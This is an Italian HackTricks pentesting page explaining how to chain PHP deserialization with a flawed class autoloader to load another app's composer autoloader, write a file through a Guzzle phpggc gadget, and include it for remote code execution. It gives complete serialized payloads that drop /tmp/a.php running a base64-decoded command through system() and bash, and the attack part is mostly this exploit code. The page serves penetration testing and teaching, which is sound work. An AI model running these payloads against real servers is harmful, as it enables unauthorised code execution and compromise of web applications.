hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
2024-02-10 13:03:23 +00:00

97 lines
7.9 KiB
Markdown

# PHP - Deserializzazione + Autoload delle Classi
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Prima di tutto, dovresti controllare cosa sono le [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserializzazione + spl\_autoload\_register + LFI/Gadget
Ci troviamo in una situazione in cui abbiamo trovato una **deserializzazione PHP in un'app web** senza alcuna libreria vulnerabile a gadget all'interno di **`phpggc`**. Tuttavia, nello stesso contenitore c'era un **altra app web con librerie vulnerabili**. Pertanto, l'obiettivo era **caricare il caricatore del compositore dell'altra app web** e sfruttarlo per **caricare un gadget che sfrutterà quella libreria con un gadget** dall'app web vulnerabile alla deserializzazione.
Passaggi:
* Hai trovato una **deserializzazione** e **non ci sono gadget** nel codice dell'app corrente
* Puoi sfruttare una funzione **`spl_autoload_register`** come quella seguente per **caricare qualsiasi file locale con estensione `.php`**
* Per fare ciò, utilizzi una deserializzazione in cui il nome della classe sarà all'interno di **`$name`**. **Non puoi usare "/" o "."** in un nome di classe in un oggetto serializzato, ma il **codice** sta **sostituendo** i **trattini bassi** ("\_") **con barre** ("/"). Quindi un nome di classe come `tmp_passwd` sarà trasformato in `/tmp/passwd.php` e il codice cercherà di caricarlo.\
Un **esempio di gadget** sarà: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
Se hai un **caricamento di file** e puoi caricare un file con estensione **`.php`**, puoi **sfruttare direttamente questa funzionalità** e ottenere RCE.
{% endhint %}
Nel mio caso, non avevo nulla del genere, ma all'interno dello **stesso contenitore** c'era un'altra pagina web di composer con una **libreria vulnerabile a un gadget `phpggc`**.
* Per caricare questa altra libreria, prima devi **caricare il caricatore di composer di quell'altra app web** (perché quello dell'applicazione corrente non accederà alle librerie dell'altra). **Conoscendo il percorso dell'applicazione**, puoi farlo molto facilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Nel mio caso, il caricatore di composer era in `/www/frontend/vendor/autoload.php`)
* Ora, puoi **caricare** il **caricatore di composer** dell'altra app, quindi è il momento di **`generare il payload phpggc`** da utilizzare. Nel mio caso, ho usato **`Guzzle/FW1`**, che mi ha permesso di **scrivere qualsiasi file nel filesystem**.
* NOTA: Il **gadget generato non funzionava**, per farlo funzionare ho **modificato** quel payload **`chain.php`** di phpggc e ho impostato **tutti gli attributi** delle classi **da privati a pubblici**. Altrimenti, dopo la deserializzazione della stringa, gli attributi degli oggetti creati non avevano valori.
* Ora abbiamo il modo per **caricare il caricatore di composer dell'altra app** e avere un **payload phpggc che funziona**, ma dobbiamo **fare tutto questo nella STESSA RICHIESTA affinché il caricatore venga caricato quando il gadget viene utilizzato**. Per fare ciò, ho inviato un array serializzato con entrambi gli oggetti come:
* Puoi vedere **prima il caricatore che viene caricato e poi il payload**
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Ora possiamo **creare e scrivere un file**, tuttavia, l'utente **non può scrivere in nessuna cartella all'interno del server web**. Quindi, come puoi vedere nel payload, viene creato un PHP che chiama **`system`** con un po' di **base64** in **`/tmp/a.php`**. Quindi, possiamo **riutilizzare il primo tipo di payload** che abbiamo usato come LFI per caricare il caricatore del compositore dell'altra webapp **per caricare il file `/tmp/a.php`** generato. Basta aggiungerlo al gadget di deserializzazione:&#x20;
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**Sommario del payload**
* **Carica l'autoload del composer** di un'altra webapp nello stesso container
* **Carica un gadget phpggc** per abusare di una libreria dell'altra webapp (la webapp iniziale vulnerabile alla deserializzazione non aveva alcun gadget nelle sue librerie)
* Il gadget **creerà un file con un payload PHP** in /tmp/a.php con comandi maligni (l'utente della webapp non può scrivere in nessuna cartella di nessuna webapp)
* La parte finale del nostro payload utilizzerà **carica il file php generato** che eseguirà i comandi
Ho dovuto **chiamare questa deserializzazione due volte**. Nei miei test, la prima volta il file `/tmp/a.php` è stato creato ma non caricato, e la seconda volta è stato caricato correttamente.
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>